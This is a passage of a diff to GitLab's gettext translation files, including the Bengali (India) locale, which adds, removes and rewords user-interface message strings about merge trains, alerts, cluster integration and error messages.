@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index 558dcdf927f..15d36fcc4e5 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:42\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
